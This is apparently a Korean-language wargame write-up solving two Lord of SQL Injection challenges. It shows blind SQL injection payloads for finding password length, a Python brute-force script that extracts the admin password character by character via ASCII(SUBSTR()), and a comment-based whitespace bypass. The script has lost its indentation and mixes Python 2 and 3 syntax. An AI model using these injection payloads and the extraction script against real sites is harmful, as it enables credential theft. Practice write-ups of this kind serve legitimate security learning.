4번 문제
이전과는 다른 로직을 가지고 있는 sql 인젝션임
처음에 id 값을 확인,
이후 pw값을 확인을 하는데 $result['pw'] == $_GET['pw'] 부분을 확인을 해보면,
DB에서 가지고온 pw와 파라미터로 넘겨준 비밀번호의 일치를 확인을 하고,
solve시켜준다.
즉슨 우회가 아닌 직접 비밀번호를 입력을 해주어야 한다는 것이다.
1st.
길이에 대한 유추
?pw=1' or length(pw) = 1 %23
이런식으로 비밀번호에 대한 길이를 유추를 우선 한다.
?pw=1' or length(pw) = 8 %23
을 했을때 Hello admin이 뜨는 것을 보아서는
비밀번호 길이가 8일때 참인 것 같다.
2nd.
비밀번호 Brute Forcing
첫번째로 했던 비밀번호에 대한 유추 처럼
Brute Forcing을 통해서 참(Hello admin)이 나왔을 때의 값을 추려서
비밀번호를 알아내어야 한다.
SUBSTR함수를 이용을 할 것이다.
substr(pw,1,1)이런식으로 적게되면 pw 첫번째자리 1개 잘라서 읽기
이런식의 함수임.
?pw=1 ' or id = 'admin' and ASCII(SUBSTR(pw,[Brute Forcing 범위],1)) str(ord([Brute Forcing할 문자])) %23
이런 식으로 하면
비밀번호를 얻을 수 있다.
#!/usr/bin/python
import string
from requests import get
cookies = dict(PHPSESSID="d1ig9eo23a96fvsc2ik04hctjh")
idlength = 8
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
letter = string.digits + string.ascii_letters
print('Start')
result = ''
for i in range(1,idlength+1):
for a in letter:
param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw, " + str(i) + ", 1))=" + str(ord(a)) + "%23"
new_url = url + param
print(param)
req = get(new_url,cookies=cookies)
if req.text.find("<h2>Hello admin</h2>") > 0:
print(str(i) + "st char is '" + a + "'").encode('utf-8')
result += a
break
print "result: " +result
5번 문제
5번 문제 같은 경우는
whitespace 우회를 하면 되는 문제이다.
나 같은 경우는 /**/ -> 주석을 통해서 문제를 풀었다.
?pw=1'/**/or/**/id='admin'%23